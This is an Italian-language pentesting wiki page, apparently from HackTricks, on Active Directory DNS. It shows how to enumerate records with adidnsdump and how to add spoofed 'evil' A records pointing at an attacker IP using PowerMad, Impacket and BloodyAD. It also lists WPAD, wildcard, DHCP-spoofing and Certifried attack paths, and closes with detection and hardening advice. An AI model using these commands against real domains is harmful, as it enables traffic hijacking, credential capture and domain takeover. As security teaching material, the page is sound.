# AD DNS Records {{#include ../../banners/hacktricks-training.md}} Per impostazione predefinita, **qualsiasi utente** in Active Directory può **enumerare tutti i record DNS** nelle zone DNS del Dominio o della Foresta, simile a un trasferimento di zona (gli utenti possono elencare gli oggetti figli di una zona DNS in un ambiente AD). Lo strumento [**adidnsdump**](https://github.com/dirkjanm/adidnsdump) consente **l'enumerazione** e **l'esportazione** di **tutti i record DNS** nella zona per scopi di ricognizione delle reti interne. ```bash git clone https://github.com/dirkjanm/adidnsdump cd adidnsdump pip install . # Enumerate the default zone and resolve the "hidden" records adidnsdump -u domain_name\\username ldap://10.10.10.10 -r # Quickly list every zone (DomainDnsZones, ForestDnsZones, legacy zones,…) adidnsdump -u domain_name\\username ldap://10.10.10.10 --print-zones # Dump a specific zone (e.g. ForestDnsZones) adidnsdump -u domain_name\\username ldap://10.10.10.10 --zone _msdcs.domain.local -r cat records.csv ``` > adidnsdump v1.4.0 (Aprile 2025) aggiunge output JSON/Greppable (`--json`), risoluzione DNS multi-threaded e supporto per TLS 1.2/1.3 durante il binding a LDAPS Per ulteriori informazioni leggi [https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/](https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/) --- ## Creazione / Modifica di record (spoofing ADIDNS) Poiché il gruppo **Authenticated Users** ha **Create Child** sul DACL della zona per impostazione predefinita, qualsiasi account di dominio (o account computer) può registrare record aggiuntivi. Questo può essere utilizzato per dirottamento del traffico, coercizione di relay NTLM o persino compromissione completa del dominio. ### PowerMad / Invoke-DNSUpdate (PowerShell) ```powershell Import-Module .\Powermad.ps1 # Add A record evil.domain.local → attacker IP Invoke-DNSUpdate -DNSType A -DNSName evil -DNSData 10.10.14.37 -Verbose # Delete it when done Invoke-DNSUpdate -DNSType A -DNSName evil -DNSData 10.10.14.37 -Delete -Verbose ``` ### Impacket – dnsupdate.py (Python) ```bash # add/replace an A record via secure dynamic-update python3 dnsupdate.py -u 'DOMAIN/user:Passw0rd!' -dc-ip 10.10.10.10 -action add -record evil.domain.local -type A -data 10.10.14.37 ``` *(dnsupdate.py è fornito con Impacket ≥0.12.0)* ### BloodyAD ```bash bloodyAD -u DOMAIN\\user -p 'Passw0rd!' --host 10.10.10.10 dns add A evil 10.10.14.37 ``` --- ## Primitivi di attacco comuni 1. **Wildcard record** – `*.` trasforma il server DNS AD in un risponditore a livello aziendale simile allo spoofing LLMNR/NBNS. Può essere abusato per catturare hash NTLM o per relazionarli a LDAP/SMB. (Richiede che la ricerca WINS sia disabilitata.) 2. **WPAD hijack** – aggiungi `wpad` (o un **NS** record che punta a un host attaccante per bypassare la Global-Query-Block-List) e proxy trasparentemente le richieste HTTP in uscita per raccogliere credenziali. Microsoft ha corretto i bypass wildcard/DNAME (CVE-2018-8320) ma **i record NS funzionano ancora**. 3. **Stale entry takeover** – rivendica l'indirizzo IP che precedentemente apparteneva a una workstation e l'entry DNS associata continuerà a risolversi, abilitando la delega vincolata basata su risorse o attacchi Shadow-Credentials senza toccare affatto il DNS. 4. **DHCP → DNS spoofing** – su un'implementazione predefinita di Windows DHCP+DNS, un attaccante non autenticato sulla stessa subnet può sovrascrivere qualsiasi record A esistente (inclusi i Domain Controllers) inviando richieste DHCP contraffatte che attivano aggiornamenti DNS dinamici (Akamai “DDSpoof”, 2023). Questo fornisce un attacco machine-in-the-middle su Kerberos/LDAP e può portare a un takeover completo del dominio. 5. **Certifried (CVE-2022-26923)** – cambia il `dNSHostName` di un account macchina che controlli, registra un record A corrispondente, quindi richiedi un certificato per quel nome per impersonare il DC. Strumenti come **Certipy** o **BloodyAD** automatizzano completamente il flusso. --- ## Rilevamento e indurimento * Negare agli **Utenti Autenticati** il diritto di *Creare tutti gli oggetti figli* su zone sensibili e delegare aggiornamenti dinamici a un account dedicato utilizzato da DHCP. * Se sono richiesti aggiornamenti dinamici, imposta la zona su **Solo sicura** e abilita la **Protezione dei nomi** in DHCP in modo che solo l'oggetto computer proprietario possa sovrascrivere il proprio record. * Monitorare gli ID eventi del server DNS 257/252 (aggiornamento dinamico), 770 (trasferimento di zona) e scritture LDAP su `CN=MicrosoftDNS,DC=DomainDnsZones`. * Bloccare nomi pericolosi (`wpad`, `isatap`, `*`) con un record intenzionalmente benigno o tramite la Global Query Block List. * Mantenere i server DNS aggiornati – ad esempio, i bug RCE CVE-2024-26224 e CVE-2024-26231 hanno raggiunto **CVSS 9.8** e sono sfruttabili da remoto contro i Domain Controllers. ## Riferimenti * Kevin Robertson – “ADIDNS Revisited – WPAD, GQBL and More” (2018, ancora il riferimento de-facto per attacchi wildcard/WPAD) * Akamai – “Spoofing DNS Records by Abusing DHCP DNS Dynamic Updates” (Dic 2023) {{#include ../../banners/hacktricks-training.md}}